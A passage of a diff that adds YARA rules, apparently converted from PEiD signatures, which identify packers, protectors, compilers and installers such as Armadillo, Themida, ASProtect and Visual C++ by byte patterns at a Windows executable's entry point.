+rule _Microsoft_Visual_Cpp_60_SFX_Custom_
+{
+	meta:
+		description = "Microsoft Visual C++ 6.0 SFX Custom"
+	strings:
+		$0 = {E8 21 48 00 00 E9 16 FE FF FF 51 C7 01 08 B4 00 30 E8 A4 48 00 00 59 C3 56 8B F1 E8 EA FF FF FF F6 ?? ?? ?? ?? 74 07 56 E8 F6 04 00 00 59 8B C6 5E C2 04 00 8B 44 24 04 83 C1 09 51 83 C0 09 50}
+	condition:
+		$0 at entrypoint
+}
+rule _NTkrnl_Secure_Suite_01015__NTkrnl_Software_
+{
+	meta:
+		description = "NTkrnl Secure Suite 0.1-0.15 -> NTkrnl Software"
+	strings:
+		$0 = {00 00 00 00 00 00 00 00 00 00 00 00 34 10 00 00 28 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 68 ?? ?? ?? ?? E8 01 00 00 00 C3 C3}
+		$1 = {00 00 00 00 00 00 00 00 00 00 00 00 34 10 00 00 28 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74}
+	condition:
+		$0 or $1 at entrypoint
+}
+rule _Duals_Cryptor__dual_
+{
+	meta:
+		description = "Dual's Cryptor -> dual"
+	strings:
+		$0 = {55 8B EC 81 EC 00 05 00 00 E8 00 00 00 00 5D 81 ED 0E}
+		$1 = {55 8B EC 81 EC 00 05 00 00 E8 00 00 00 00 5D 81 ED 0E}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _SVK_Protector_13x_Eng__Pavol_Cerven_
+{
+	meta:
+		description = "SVK Protector 1.3x (Eng) -> Pavol Cerven"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED 06 00 00 00 EB 05 B8 ?? ?? 42 00 64 A0 23 00 00 00 EB 03 C7 84 E8 84 C0 EB 03 C7 84 E9 75 67 B9 49 00 00 00 8D B5 C5 02 00 00 56 80 06 44 46 E2 FA 8B 8D C1 02 00 00 5E 55 51 6A 00 56 FF 95 0C 61 00 00 59 5D 40 85 C0 75 3C 80 3E}
+	condition:
+		$0 at entrypoint
+}
+rule _PDS_graphics_file_format_
+{
+	meta:
+		description = "PDS graphics file format"
+	strings:
+		$0 = {49 4D 41 47 45 49 44 45 4E 54 49 46 49 45 52 20}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_Microsoft_Visual_Basic_60_DLL_
+{
+	meta:
+		description = "PseudoSigner 0.1 [Microsoft Visual Basic 6.0 DLL"
+	strings:
+		$0 = {90 90 90 90 68 ?? ?? ?? ?? 67 64 FF 36 00 00 67 64 89 26 00 00 F1 90 90 90 90 5A 68 90 90 90 90 68 90 90 90 90 52 E9 90 90 FF}
+	condition:
+		$0 at entrypoint
+}
+rule _DxPack_V086_Dxd_
+{
+	meta:
+		description = "DxPack V0.86 ->Dxd"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 8B FD 81 ED 06 10 40 00 2B BD 94 12 40 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Upack_V022V023__Dwing____20080321_
+{
+	meta:
+		description = "Upack V0.22-V0.23 -> Dwing   * 20080321"
+	strings:
+		$0 = {6A 07 BE ?? ?? ?? ?? AD 8B F8 59 95 F3 A5 AD ?? ?? F3 AB AD 50 97 51 58 8D 54 85 5C FF 16 72 59 2C 03 73 02 B0 00 3C 07 72 02 2C 03 50 0F B6 5F FF ?? ?? ?? B3 00 8D 1C 5B 8D 9C 9D 0C 10 00 00 B0 01 E3 29 8B D7 2B 55 0C 8A 2A 33 D2 84 E9 0F 95 C6 52 FE C6 8A D0 8D 14 93 FF 16 5A 9F 12 C0 D0 E9 74 0E 9E 1A F2 74 E4 B4 00 33 C9 B5 01 FF 56 08 33 C9 E9 07 01 00 00 8B 5D 0C 83 C2 30 FF 16 73 53 83 C2 30 FF 16 72 1B 83 C2 30 FF 16 72 2B 3C 07 B0 09 72 02 B0 0B 50 8B C7 2B 45 0C B1 80 8A 00 EB CF 83 C2 60 FF 16 87 5D 10 73 0D 83 C2 30 FF 16 87 5D 14 73 03 87 5D 18 3C 07 B0 08 72 02 B0 0B 50 53 8D 95 7C 07 00 00 FF 56 0C 5B 91 E9 9C 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PeCompact_v208__Bitsum_Technologiessignature_by_loveboom_
+{
+	meta:
+		description = "PeCompact v2.08 -> Bitsum Technologies(signature by loveboom)"
+	strings:
+		$0 = {B8 ?? ?? ?? ?? 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C0 89 08 50 45 43 6F 6D}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_v3xx_
+{
+	meta:
+		description = "Armadillo v3.xx"
+	strings:
+		$0 = {60 E8 ?? ?? ?? ?? 58 83 ?? ?? 50 8D ?? ?? ?? ?? ?? 57 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 83 ?? ?? 31 DB ?? ?? ?? EB}
+		$1 = {60 E8 ?? ?? ?? ?? 5D 50 51 EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 59 58}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Armadillo_500_Dll__Silicon_Realms_Toolworks_
+{
+	meta:
+		description = "Armadillo 5.00 Dll -> Silicon Realms Toolworks"
+	strings:
+		$0 = {83 7C 24 08 01 75 05 E8 DE 4B 00 00 FF 74 24 04 8B 4C 24 10 8B 54 24 0C E8 ED FE FF FF 59 C2 0C 00 6A 0C 68 ?? ?? ?? ?? E8 E5 24 00 00 8B 4D 08 33 FF 3B CF 76 2E 6A E0 58 33 D2 F7 F1 3B 45 0C 1B C0 40 75 1F E8 8F 15 00 00 C7 00 0C 00 00 00 57 57 57 57 57}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_ASPack_2xx_Heuristic_
+{
+	meta:
+		description = "PseudoSigner 0.1 [ASPack 2.xx Heuristic"
+	strings:
+		$0 = {90 90 90 90 68 ?? ?? ?? ?? 67 64 FF 36 00 00 67 64 89 26 00 00 F1 90 90 90 90 A8 03 00 00 61 75 08 B8 01 00 00 00 C2 0C 00 68 00 00 00 00 C3 8B 85 26 04 00 00 8D 8D 3B 04 00 00 51 50 FF 95}
+	condition:
+		$0 at entrypoint
+}
+rule _RLPack_V119_LZMA_430__ap0_
+{
+	meta:
+		description = "RLPack V1.19 (LZMA 4.30) -> ap0"
+	strings:
+		$0 = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 83 7C 24 28 01 75 0C 8B 44 24 24 89 85 49 0B 00 00 EB 0C 8B 85 45 0B 00 00 89 85 49 0B 00 00 8D B5 6D 0B 00 00 8D 9D 2F 03 00 00 33 FF 6A 40 68 00 10 00 00 68 00 20 0C 00 6A 00 FF 95 DA 0A 00 00 89 85 41 0B 00 00 E8 76 01 00 00 EB 20 60 8B 85 49 0B 00 00 FF B5 41 0B 00 00 FF 34 37 01 04 24 FF 74 37 04 01 04 24 FF D3 61 83 C7 08 83 3C 37 00 75 DA 83 BD 55 0B 00 00 00 74 0E 83 BD 59 0B 00 00 00 74 05 E8 D7 01 00 00 8D 74 37 04 53 6A 40 68 00 10 00 00 68 ?? ?? ?? ?? 6A 00 FF 95 DA 0A 00 00 89 85 69 0B 00 00 5B 60 FF B5 41 0B 00 00 56 FF B5 69 0B 00 00 FF D3 61 8B B5 69 0B 00 00 8B C6 EB 01 40 80 38 01 75 FA 40 8B 38 03 BD 49 0B 00 00 83 C0 04 89 85 65 0B 00 00 E9 98 00 00 00 56 FF 95 D2 0A 00 00 89 85 61 0B 00 00 85 C0 0F 84 C8 00 00 00 8B C6 EB 5F 8B 85 65 0B 00 00 8B 00 A9 00 00 00 80 74 14 35 00 00 00 80 50 8B 85 65 0B 00 00 C7 00 20 20 20 00 EB 06 FF B5 65 0B 00 00 FF B5 61 0B 00 00 FF 95 D6 0A 00 00 85 C0 0F 84 87 00 00 00 89 07 83 C7 04 8B 85 65 0B 00 00 EB 01 40 80 38 00 75 FA 40 89 85 65 0B 00 00 66 81 78 02 00 80 74 A1 80 38 00 75 9C EB 01 46 80 3E 00 75 FA 46 40 8B 38 03 BD 49 0B 00 00 83 C0 04 89 85 65 0B 00 00 80 3E 01 0F 85 5F FF FF FF 68 00 40 00 00 68 ?? ?? ?? ?? FF B5 69 0B 00 00 FF 95 DE 0A 00 00 68 00 40 00 00 68 00 20 0C 00 FF B5 41 0B 00 00 FF 95 DE 0A 00 00 E8 3D 00 00 00 E8 24 01 00 00 61 E9 ?? ?? ?? ?? 61 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _EXEStealth_275__WebtoolMaster_
+{
+	meta:
+		description = "EXEStealth 2.75 -> WebtoolMaster"
+	strings:
+		$0 = {33 C9 B4 4E CD 21 73 02 FF ?? BA ?? 00 B8 ?? 3D CD 21}
+		$1 = {90 60 90 E8 00 00 00 00 5D 81 ED D1 27 40 00 B9 15 00 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _SimplePack_111_Method_2NT__bagieTMX_
+{
+	meta:
+		description = "SimplePack 1.11 Method 2(NT) -> bagie[TMX"
+	strings:
+		$0 = {4D 5A 90 EB 01 00 52 E9 89 01 00 00 50 45 00 00 4C 01 02 00 00 00 00 00 00 00 00 00 00 00 00 00 E0 00 0F 03 0B 01}
+		$1 = {4D 5A 90 EB 01 00 52 E9 89 01 00 00 50 45 00 00 4C 01 02 00 00 00 00 00 00 00 00 00 00 00 00 00 E0 00 0F 03 0B 01 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 40 00 00 C0 4B 45 52 4E 45 4C 33 32 2E 44 4C 4C 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 00 56 69 72 74 75 61 6C 50 72 6F 74 65 63 74 00 00 EB 01 CD 64 A1 30 00 00 00 EB 01 CD 8B 48 0C E3 6F EB 01 CD 05 AC 00 00 00 EB 01 CD 66 81 38 93 08 EB 01 CD 75 0A EB 01 CD B8 38 FF FF FF EB 14 EB 01 CD 66 81 38 28 0A 75 4A EB 01 CD B8 1A FF FF FF EB 00 EB 01 CD 31 C9 EB 01 CD 51 EB 01 CD 51 EB 01 CD 6A 11 EB 01 CD 6A FE EB 01 CD E8 03 00 00 00 EB 01 CD 83 04 24 18 EB}
+		$2 = {4D 5A 90 EB 01 00 52 E9 89 01 00 00 50 45 00 00 4C 01 02 00 00 00 00 00 00 00 00 00 00 00 00 00 E0 00 0F 03 0B 01}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _Borland_C__Borland_Builder_
+{
+	meta:
+		description = "Borland C / Borland Builder"
+	strings:
+		$0 = {3B CF 76 05 2B CF FC F3 AA 59}
+	condition:
+		$0 at entrypoint
+}
+rule _yzpack_V11_
+{
+	meta:
+		description = "yzpack V1.1"
+	strings:
+		$0 = {60 33 C0 8D 48 07 50 E2 FD 8B EC 64 8B 40 30 78 0C 8B 40 0C 8B 70 1C AD 8B 40 08 EB 09 8B 40 34 8D 40 7C 8B 40 3C 89 45 04 E8 F3 07 00 00 60 8B 5D 04 8B 73 3C 8B 74 33 78 03 F3 56 8B 76 20 03 F3 33 C9 49 92 41 AD 03 C3 52 33 FF 0F B6 10 38 F2}
+	condition:
+		$0 at entrypoint
+}
+rule _CipherWall_SelfExtratorDecryptor_Console_v15_
+{
+	meta:
+		description = "CipherWall Self-Extrator/Decryptor (Console) v1.5"
+	strings:
+		$0 = {90 61 BE 00 10 42 00 8D BE 00 00 FE FF C7 87 C0 20 02 00 0B 6E 5B 9B 57 83 CD FF EB 0E 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4}
+		$1 = {90 61 BE 00 10 42 00 8D BE 00 00 FE FF C7 87 C0 20 02 00 0B 6E 5B 9B 57 83 CD FF EB 0E 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4 31 C9 83 E8 03 72 0D C1 E0 08 8A 06 46 83 F0 FF 74 74 89 C5 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 75 20 41 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4 83 C1 02 81 FD 00 F3 FF FF 83 D1 01 8D 14 2F 83 FD FC 76 0F 8A 02 42 88 07 47 49 75 F7 E9 63 FF FF FF 90 8B 02 83 C2 04 89 07 83 C7 04 83 E9 04 77 F1 01 CF E9 4C FF FF FF 5E 89 F7 B9 12 10 00 00 8A 07 47 2C E8 3C 01 77 F7 80 3F 06 75 F2 8B 07 8A 5F 04 66 C1 E8 08 C1 C0 10 86 C4}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Themida_v2065_or_newer__c2009_Oreans_Technologies_
+{
+	meta:
+		description = "Themida v2.0.6.5 (or newer) -> (c)2009 Oreans Technologies"
+	strings:
+		$0 = {52 BA 64 00 00 00 EB 1B B9 00 10 00 00 EB 05 03 C1 03 C3 49 0B C9 75 F7 52 54 54 FF 15}
+	condition:
+		$0 at entrypoint
+}
+rule _dUP2__diablo2oo2_
+{
+	meta:
+		description = "dUP2 -> diablo2oo2"
+	strings:
+		$0 = {E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 6A 00 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? A2 ?? ?? ?? ?? 6A 00 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? A2 ?? ?? ?? ?? 6A 00 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? A2 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 3C 01 75}
+		$1 = {E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 6A 00 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? A2 ?? ?? ?? ?? 6A 00 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? A2 ?? ?? ?? ?? 6A 00 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? A2 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 3C 01 75 19 BE ?? ?? ?? ?? 68 00 02 00 00 56 68}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _ASProtect_130824_beta_
+{
+	meta:
+		description = "ASProtect 1.3.08.24 beta"
+	strings:
+		$0 = {68 01 ?? 40 00 E8 01 00 00 00 C3 C3 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 89}
+	condition:
+		$0 at entrypoint
+}
+rule _Ionic_Wind_Software_
+{
+	meta:
+		description = "Ionic Wind Software"
+	strings:
+		$0 = {9B DB E3 9B DB E2 D9 2D 00 ?? ?? 00 55 89 E5 E8}
+		$1 = {9B DB E3 9B DB E2 D9 2D 00 ?? ?? 00 55 89 E5 E8}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _PE_Diminisher_V01__Teraphy_
+{
+	meta:
+		description = "PE Diminisher V0.1 -> Teraphy"
+	strings:
+		$0 = {53 51 52 56 57 55 E8 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_v120_Eng__dulekxt__Microsoft_Visual_Cpp_60_
+{
+	meta:
+		description = "FSG v1.20 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0)"
+	strings:
+		$0 = {C1 E0 06 EB 02 CD 20 EB 01 27 EB 01 24 BE 80 ?? 42 00 49 EB 01 99 8D 1D F4 00 00 00 EB 01 5C F7 D8 1B CA EB 01 31 8A 16 80 E9 41 EB 01 C2 C1 E0 0A EB 01 A1 81 EA A8 8C 18 A1 34 46 E8 01 00 00 00 62 59 32 D3 C1 C9 02 EB 01 68 80 F2 1A 0F BE C9 F7 D1 2A D3}
+	condition:
+		$0 at entrypoint
+}
+rule _Private_exe_Protector_V18__SetiSoft_Team_
+{
+	meta:
+		description = "Private exe Protector V1.8 -> SetiSoft Team"
+	strings:
+		$0 = {00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 44 4C 4C 00 ?? ?? ?? ?? 00 00 00 00 00 00 45 78 69 74 50 72 6F 63 65 73 73}
+		$1 = {00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 44 4C 4C 00 ?? ?? ?? ?? 00 00 00 00 00 00 45 78 69 74 50 72 6F 63 65 73 73}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Warning_may_be_RCryptor_by_Vaska_unknown_ver__21032006_2317_
+{
+	meta:
+		description = "Warning! may be RCryptor by Vaska unknown ver  (21.03.2006 23:17)"
+	strings:
+		$0 = {EB F3 E8 00 00 00 00 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _FreeBasic_014_
+{
+	meta:
+		description = "FreeBasic 0.14"
+	strings:
+		$0 = {55 89 E5 83 EC 08 C7 04 24 ?? 00 00 00 FF 15 ?? ?? ?? 00 E8 ?? FF FF FF 89 EC 31 C0 5D C3 89 F6 55 89 E5 83 EC 08 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 55 89 E5 83 EC 08 8B 45 08 89 04 24 FF 15 ?? ?? ?? 00 89 EC 5D}
+	condition:
+		$0 at entrypoint
+}
+rule _LTC_v13__lockless_
+{
+	meta:
+		description = "LTC v1.3 -> lockless"
+	strings:
+		$0 = {54 E8 00 00 00 00 5D 8B C5 81 ED F6 73 40 00 2B 85 87 75 40 00 83 E8 06}
+	condition:
+		$0 at entrypoint
+}
+rule _XPack_131__166_COM_
+{
+	meta:
+		description = "XPack 1.31 - 1.66 [COM]"
+	strings:
+		$0 = {8C C8 05 00 10 8E C0 BF 00 01 8B F7 FC B9 60 6D F3 A5 06 B8 77 01 50 CB 1E 06 1F 07 BE 00 02 BF 00 01 06 57 E8 11 00 33 C0 8B D8 8B C8 8B D0 8B F0 8B F8 8B E8 06 1F CB EB 1D 80 E2 0F 75 05 50 AD 8B E8 58 FE C2 03 ED C3 33 C9 E8 EC FF D1 D1}
+	condition:
+		$0 at entrypoint
+}
+rule _Visual_Cpp_2005_DLL__Microsoft_
+{
+	meta:
+		description = "Visual C++ 2005 DLL -> Microsoft"
+	strings:
+		$0 = {8B FF 55 8B EC 83 7D 0C 01}
+	condition:
+		$0 at entrypoint
+}
+rule _Setup2Go_Installer_Stub_
+{
+	meta:
+		description = "Setup2Go Installer Stub"
+	strings:
+		$0 = {5B 53 45 54 55 50 5F 49 4E 46 4F 5D 0D 0A 56 65 72}
+		$1 = {5B 53 45 54 55 50 5F 49 4E 46 4F 5D 0D 0A 56 65 72}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Microsoft_Visual_Basic_40_
+{
+	meta:
+		description = "Microsoft Visual Basic 4.0"
+	strings:
+		$0 = {68 ?? ?? ?? 00 E8 ?? FF FF FF 00 00 ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v110b2__Jeremy_Collake_
+{
+	meta:
+		description = "PECompact v1.10b2 -> Jeremy Collake"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 60 40 ?? 87 DD 8B 85 94 60}
+	condition:
+		$0 at entrypoint
+}
+rule _yzpack_V11__UsAr_
+{
+	meta:
+		description = "yzpack V1.1 -> UsAr"
+	strings:
+		$0 = {60 33 C0 8D 48 07 50 E2 FD 8B EC 64 8B 40 30 78 0C 8B 40 0C 8B 70 1C AD 8B 40 08 EB 09 8B 40 34 8D 40 7C 8B 40 3C 89 45 04 E8 F3 07 00 00 60 8B 5D 04 8B 73 3C 8B 74 33 78 03 F3 56 8B 76 20 03 F3 33 C9 49 92 41 AD 03 C3 52 33 FF 0F B6 10 38 F2}
+		$1 = {60 33 C0 8D 48 07 50 E2 FD 8B EC 64 8B 40 30 78 0C 8B 40 0C 8B 70 1C AD 8B 40 08 EB 09 8B 40 34 8D 40 7C 8B 40 3C 89 45 04 E8 F3 07 00 00 60 8B 5D 04 8B 73 3C 8B 74 33 78 03 F3 56 8B 76 20 03 F3 33 C9 49 92 41 AD 03 C3 52 33 FF 0F B6 10 38 F2}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _AHTeam_EP_Protector_V03V041__FEUERRADER_
+{
+	meta:
+		description = "AHTeam EP Protector V0.3-V0.41 -> FEUERRADER"
+	strings:
+		$0 = {90 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 90 90 90 90 FF E0}
+	condition:
+		$0 at entrypoint
+}
+rule _ICE_Archive_
+{
+	meta:
+		description = "ICE Archive"
+	strings:
+		$0 = {2D 6C 68 ?? 2D}
+	condition:
+		$0 at entrypoint
+}
+rule _PEiDBundle_V102_DLL__BoB__BobSoft_
+{
+	meta:
+		description = "PEiD-Bundle V1.02 DLL -> BoB / BobSoft"
+	strings:
+		$0 = {83 7C 24 08 01 0F 85 ?? ?? ?? ?? 60 E8 9C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 41 00 08 00 39 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 80 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_v430__v440__Silicon_Realms_Toolworks_
+{
+	meta:
+		description = "Armadillo v4.30 - v4.40 -> Silicon Realms Toolworks"
+	strings:
+		$0 = {55 8B EC 6A FF 68 40 ?? ?? 00 68 80 ?? ?? 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 88 ?? ?? 00 33 D2 8A D4 89 15 30 ?? ?? 00 8B C8 81 E1 FF 00 00 00 89 0D 2C ?? ?? 00 C1 E1 08 03 CA 89 0D 28 ?? ?? 00 C1 E8 10 A3 24}
+		$1 = {60 E8 00 00 00 00 5D 50 51 0F CA F7 D2 9C F7 D2 0F CA EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 9D 0F C9 8B CA F7 D1 59 58 50 51 0F CA F7 D2 9C F7 D2 0F CA EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PIRIT_v15_
+{
+	meta:
+		description = "$PIRIT v1.5"
+	strings:
+		$0 = {B4 4D CD 21 E8 ?? ?? FD E8 ?? ?? B4 51 CD 21}
+	condition:
+		$0 at entrypoint
+}
+rule _Packman_0001__Bubbasoft_
+{
+	meta:
+		description = "Packman 0.0.0.1 -> Bubbasoft"
+	strings:
+		$0 = {0F 85 ?? FF FF FF 8D B3 ?? ?? ?? ?? EB 3D 8B 46 0C 03 C3 50 FF 55 00 56 8B 36 0B F6 75 02 8B F7 03 F3 03 FB EB 1B D1 C1 D1 E9 73 05 0F B7 C9 EB 05 03 CB 8D 49 02 50 51 50 FF 55 04 AB 58 83 C6 04 8B 0E 85 C9 75 DF 5E 83 C6 14 8B 7E 10 85 FF 75 BC 8D 8B 00}
+		$1 = {0F 85 ?? FF FF FF 8D B3 ?? ?? ?? ?? EB 3D 8B 46 0C 03 C3 50 FF 55 00 56 8B 36 0B F6 75 02 8B F7 03 F3 03 FB EB 1B D1 C1 D1 E9 73 05 0F B7 C9 EB 05 03 CB 8D 49 02 50 51 50 FF 55 04 AB 58 83 C6 04 8B 0E 85 C9 75 DF 5E 83 C6 14 8B 7E 10 85 FF 75 BC 8D 8B 00 00 ?? ?? B8 00 ?? ?? 00 0B C0 74 34 03 C3 EB 2A 8D 70 08 03 40 04 33 ED 33 D2 66 8B 2E 66 0F A4 EA 04 80 FA 03 75 0D 81 E5 FF 0F 00 00 03 EF 03 EB 01 4D 00 46 46 3B F0 75 DC 8B 38 85 FF 75 D0 61 E9 ?? FE FF FF 02 D2 75 05 8A 16 46 12 D2 C3}
+		$2 = {0F 85 ?? FF FF FF 8D B3 ?? ?? ?? ?? EB 3D 8B 46 0C 03 C3 50 FF 55 00 56 8B 36 0B F6 75 02 8B F7 03 F3 03 FB EB 1B D1 C1 D1 E9 73 05 0F B7 C9 EB 05 03 CB 8D 49 02 50 51 50 FF 55 04 AB 58 83 C6 04 8B 0E 85 C9 75 DF 5E 83 C6 14 8B 7E 10 85 FF 75 BC 8D 8B 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2
+}
+rule _COMPACK_v45_2_
+{
+	meta:
+		description = "COMPACK v4.5 (2)"
+	strings:
+		$0 = {BE ?? ?? E8 ?? ?? 5D 83 ?? ?? 55 50 53 51 52 0E 07 0E 1F 8B CE}
+	condition:
+		$0 at entrypoint
+}
+rule _ACProtect_13x__14x_DLL__Risco_Software_Inc_
+{
+	meta:
+		description = "ACProtect 1.3x - 1.4x DLL -> Risco Software Inc."
+	strings:
+		$0 = {50 B8 ?? ?? BA ?? ?? 05 ?? ?? 3B 06 ?? ?? 72 ?? B4 ?? BA ?? ?? CD 21 B8 ?? ?? CD 21}
+		$1 = {80 7C 24 08 01 0F 85}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _ICrypt_10__by_BuGGz_
+{
+	meta:
+		description = "ICrypt 1.0 - by BuGGz"
+	strings:
